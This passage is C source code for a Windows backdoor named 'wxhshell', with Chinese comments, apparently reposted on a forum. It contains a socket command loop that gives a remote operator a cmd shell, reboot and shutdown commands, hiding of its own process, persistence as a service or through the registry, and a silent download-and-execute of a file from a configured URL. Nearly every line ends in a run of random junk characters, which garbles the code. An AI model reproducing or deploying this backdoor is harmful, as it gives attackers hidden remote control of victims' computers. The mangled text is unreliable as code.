  } kgGMA 7Jy  
  else { -D^.I  
+|c1G[Jh  
    switch(cmd[0]) { eGE[4Z  
  b 8~7C4  
  // 帮助 'joE-{  
  case '?': { {+  @M!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /`H{ n$  
    break; G}N T[  
  } bQBYzvd  
  // 安装 yh{Wuz=T  
  case 'i': { 3+tr_psH  
    if(Install()) Ew$-,KC[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bG&vCH;}%  
    else c8}jO=/5+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nX\Q{R2  
    break; A>Y!d9]ti  
    } 0?/vcsO  
  // 卸载 dePI&z:  
  case 'r': { LvbS")  
    if(Uninstall()) ?I}0[+)V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NWt5)xl  
    else Ou,Eu05jt'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &8'QD~  
    break; y>iote~  
    } ^,,lo<d_L  
  // 显示 wxhshell 所在路径 _ H$^m#h  
  case 'p': { P%_PG%O2p  
    char svExeFile[MAX_PATH]; yaWHGre  
    strcpy(svExeFile,"\n\r"); YM4njkI7  
      strcat(svExeFile,ExeFile); Q ~>="Yiu  
        send(wsh,svExeFile,strlen(svExeFile),0); T*v@hbJ  
    break; e}bY 9  
    } O$$$1VHYo  
  // 重启 yE>f.|(  
  case 'b': { $,DX^I%!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0{zA6Xu  
    if(Boot(REBOOT)) ,W:Bh$%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K.I  \E  
    else { ^ e4y:#Nu  
    closesocket(wsh); e,rCutA)  
    ExitThread(0); QCVwslj,K  
    } ppXt8G3% x  
    break; @ 9q/jv`  
    } A_xUP9g@?  
  // 关机 9!UFLZR  
  case 'd': { ," ~4l&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O({vHqN>  
    if(Boot(SHUTDOWN)) MsLQ'9%Au  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wML5T+  
    else { XJ9l, :c,  
    closesocket(wsh); u[yUUYe  
    ExitThread(0); ?KF.v1w7  
    } ]id5jVY  
    break; GFmVR2z_+  
    } w 7Y>B`wm?  
  // 获取shell 97~*Z|#<+  
  case 's': { .>bvI1  
    CmdShell(wsh); s\#eD0|  
    closesocket(wsh); o])2_e5  
    ExitThread(0); F2k)hG*|{  
    break; +'fdAc:5',  
  } wD'LX  
  // 退出 ;zZGV4Qc~  
  case 'x': { {<}kqn83sT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ow7}&\;^-  
    CloseIt(wsh); UB&)U\hn  
    break; (y;8izp9!  
    } 2O~I.(9(  
  // 离开 XkJzt  
  case 'q': { qGgqAF#B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l: X]$2;  
    closesocket(wsh); w+Cs=!  
    WSACleanup(); |e#ea~/b  
    exit(1); a}]zwV&  
    break; $Y Cy,Ew   
        } |=CV.Su  
  } Tr@}  
  } SpG^kI #  
)s';m$  
  // 提示信息 9azk(OL6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #7~i.8L  
} v4V|j<R  
  } 8LouCv(>  
5 LZ+~!2+  
  return; '5vgpmn  
} 4lqowg0  
q>X%MN y  
// shell模块句柄 bWAVBF  
int CmdShell(SOCKET sock) u  teI[Q  
{ (&x#VmDL  
STARTUPINFO si; K[( h2&  
ZeroMemory(&si,sizeof(si)); &v#*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #[a+m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *0aU(E #  
PROCESS_INFORMATION ProcessInfo; "77 j(Vs9  
char cmdline[]="cmd"; k 8Swra?j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oU.LYz_  
  return 0; f/:XIG  
} %kg%ttu7  
Yy"05V.  
// 自身启动模式 <Eo; CaaF/  
int StartFromService(void) _e;$Y#`EO  
{ z$d/Vz,a  
typedef struct K 8gd?88  
{ 5r:SBt|/  
  DWORD ExitStatus; 9 OC!\' 8  
  DWORD PebBaseAddress; 4?AggqW  
  DWORD AffinityMask; b]NSCu*)s  
  DWORD BasePriority; G^]7!:0  
  ULONG UniqueProcessId; jI8qiZ);~  
  ULONG InheritedFromUniqueProcessId; yBPaGZ{f  
}   PROCESS_BASIC_INFORMATION; lF\oEMd*  
h>6'M  
PROCNTQSIP NtQueryInformationProcess; d2x|PpmH  
$Qv+*%c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~8-Z=-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [kyF|3k~  
CjtXU=}A  
  HANDLE             hProcess; /8GgEW9Q~G  
  PROCESS_BASIC_INFORMATION pbi; ^]$x/1I;  
 wv2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y6lle<SIu  
  if(NULL == hInst ) return 0; WJ9=hr  
]Xur/C2A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DFz,>DM;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oXc!JZ^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L//Z\xr|  
Wh:SZa|  
  if (!NtQueryInformationProcess) return 0; ['MG/FKuv  
L>Y>b4oy3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O/9dPod  
  if(!hProcess) return 0; t&SC>8M<  
l)glT]G3+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t]~L o3  
`5[d9z/6  
  CloseHandle(hProcess); HXTBxh  
[lqwzW{(UN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '*5I5'[ X,  
if(hProcess==NULL) return 0; ,OX(z=i_  
 #cqia0.H  
HMODULE hMod; xq2{0q  
char procName[255]; x?:[:Hf   
unsigned long cbNeeded; }jM&GH1  
/#z5bo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ec: ?Q0  
 $&96qsr  
  CloseHandle(hProcess); 0sv#* &0=  
;^}gC}tq  
if(strstr(procName,"services")) return 1; // 以服务启动 FY [WdZDZ  
uoYG@L2  
  return 0; // 注册表启动 dyRKmLb  
} 9pKN^FX,76  
JpEE'#r|  
// 主模块 C:/O]slH  
int StartWxhshell(LPSTR lpCmdLine) U5]{`C0H?  
{ CBA MAr  
  SOCKET wsl; ]A:n]mL  
BOOL val=TRUE; S ni Ck*T,  
  int port=0; ')w:`8Tl  
  struct sockaddr_in door; !>g_9'n'  
ty|E[Ez1  
  if(wscfg.ws_autoins) Install(); Ll%CeP  
5Xu2MY=  
port=atoi(lpCmdLine); %nQii? 1`i  
c(. 2D  
if(port<=0) port=wscfg.ws_port; wRn]  
[];*9vxW  
  WSADATA data; NDW6UFd>1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wfQ 6J0  
D9M<>Xz)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #5xK&qA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y '&&1 R  
  door.sin_family = AF_INET; ~6z<tyD^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {OP[Rrm  
  door.sin_port = htons(port); sas}k7m"  
*p}b_A}D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3~~KtH=  
closesocket(wsl); DIH|6R  
return 1; =7@N'xX  
} {ZiJnJX  
bI 3o|  
  if(listen(wsl,2) == INVALID_SOCKET) { 5t`< KRz)I  
closesocket(wsl); w yP|#Z\  
return 1; rmS.$h@7 m  
} TU4"7]/{M  
  Wxhshell(wsl); QS:dr."k  
  WSACleanup(); eAh~ `  
`LU[+F8<  
return 0; :DTKZ9>2D  
095:"GvO  
} ;LRY h?  
S"ZH5O(  
// 以NT服务方式启动 )?#*GMWU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U}ei2q\  
{ F.2<G.9  
DWORD   status = 0; ~Rd,jfx  
  DWORD   specificError = 0xfffffff; 3 f=_F  
.UF](  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @:u>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YvD+Lk'hm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T 22tZp  
  serviceStatus.dwWin32ExitCode     = 0; FES_:?.0  
  serviceStatus.dwServiceSpecificExitCode = 0; v#1}( hb  
  serviceStatus.dwCheckPoint       = 0; h+)XLs  
  serviceStatus.dwWaitHint       = 0; TbqH-R3W  
o$]wd*+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (_h<<`@B  
  if (hServiceStatusHandle==0) return; C7#ji"t  
)[&'\SOO  
status = GetLastError(); ~.99H  
  if (status!=NO_ERROR) qPeaSv]W  
{ fYrC;&n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @X@?jj&  
    serviceStatus.dwCheckPoint       = 0; 84v7g`lrR  
    serviceStatus.dwWaitHint       = 0; .{[+d3+,  
    serviceStatus.dwWin32ExitCode     = status; $VOSd<87  
    serviceStatus.dwServiceSpecificExitCode = specificError; HriY-=ji>a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :.wR*E  
    return; *->2$uWP  
  } bBwQ1,c$  
iV#sMJN9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %M8 m 8 )  
  serviceStatus.dwCheckPoint       = 0; {;uOc{~+  
  serviceStatus.dwWaitHint       = 0; 5}S~8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XpWcf ([  
} >yk@t&j,  
coa+@g,w7#  
// 处理NT服务事件,比如:启动、停止 t5: 1' N9P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1t&LNIc|^  
{ RCM;k;@8V  
switch(fdwControl) 1iNq|~  
{ Vwxb6,}Z  
case SERVICE_CONTROL_STOP: P2la/jN  
  serviceStatus.dwWin32ExitCode = 0; bMe/jQuL.$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &QHZ]2%U  
  serviceStatus.dwCheckPoint   = 0; gR7in!8  
  serviceStatus.dwWaitHint     = 0; +9LIpU&5  
  { HK_Vk\e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^n Gj 7b  
  } []^fb,5a  
  return; <'WS -P%U  
case SERVICE_CONTROL_PAUSE: M_ *KA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S7i,oP7  
  break; 8EbJ5wu/%S  
case SERVICE_CONTROL_CONTINUE: ?|4Y(0N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'cp1I&>  
  break; CK[w0VCT  
case SERVICE_CONTROL_INTERROGATE: ,#n$YT7  
  break; #aHPB#  
}; EWz,K] _'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1eod;^AP9  
} XT2:XWI8  
&+0WZ#VI  
// 标准应用程序主函数 Tvp~~Dk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }6S~"<Ym  
{ 2bIP.M2Fs  
fkKk/M> 1  
// 获取操作系统版本 .J=<E  
OsIsNt=GetOsVer(); t UOqF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LtrE;+%2oz  
ENoGV;WG  
  // 从命令行安装 -/^a2_d[  
  if(strpbrk(lpCmdLine,"iI")) Install(); [f._w~  
LDX>S*cL  
  // 下载执行文件 1u`{yl*+?  
if(wscfg.ws_downexe) { +\s32o zg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6gr?#D -F  
  WinExec(wscfg.ws_filenam,SW_HIDE); b*5Yy/U  
} {>EM=ZZfg  
RaT.%:CRm  
if(!OsIsNt) { M~h^~:Lk  
// 如果时win9x,隐藏进程并且设置为注册表启动 { $ a $m  
HideProc(); -_`dA^  
StartWxhshell(lpCmdLine); X(r$OZ  
} `1xJ1 z#  
else vZ6_/ew8  
  if(StartFromService()) Al93x  
  // 以服务方式启动 e-&0f);i  
  StartServiceCtrlDispatcher(DispatchTable); |.]g&m)y^h  
else &];:uYmMU  
  // 普通方式启动 \d :AV(u  
  StartWxhshell(lpCmdLine); 5xb1FH d:  
P3e}G-Oz  
return 0; :"Gx  
}
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只看该作者 1 发表于: 2006-10-10
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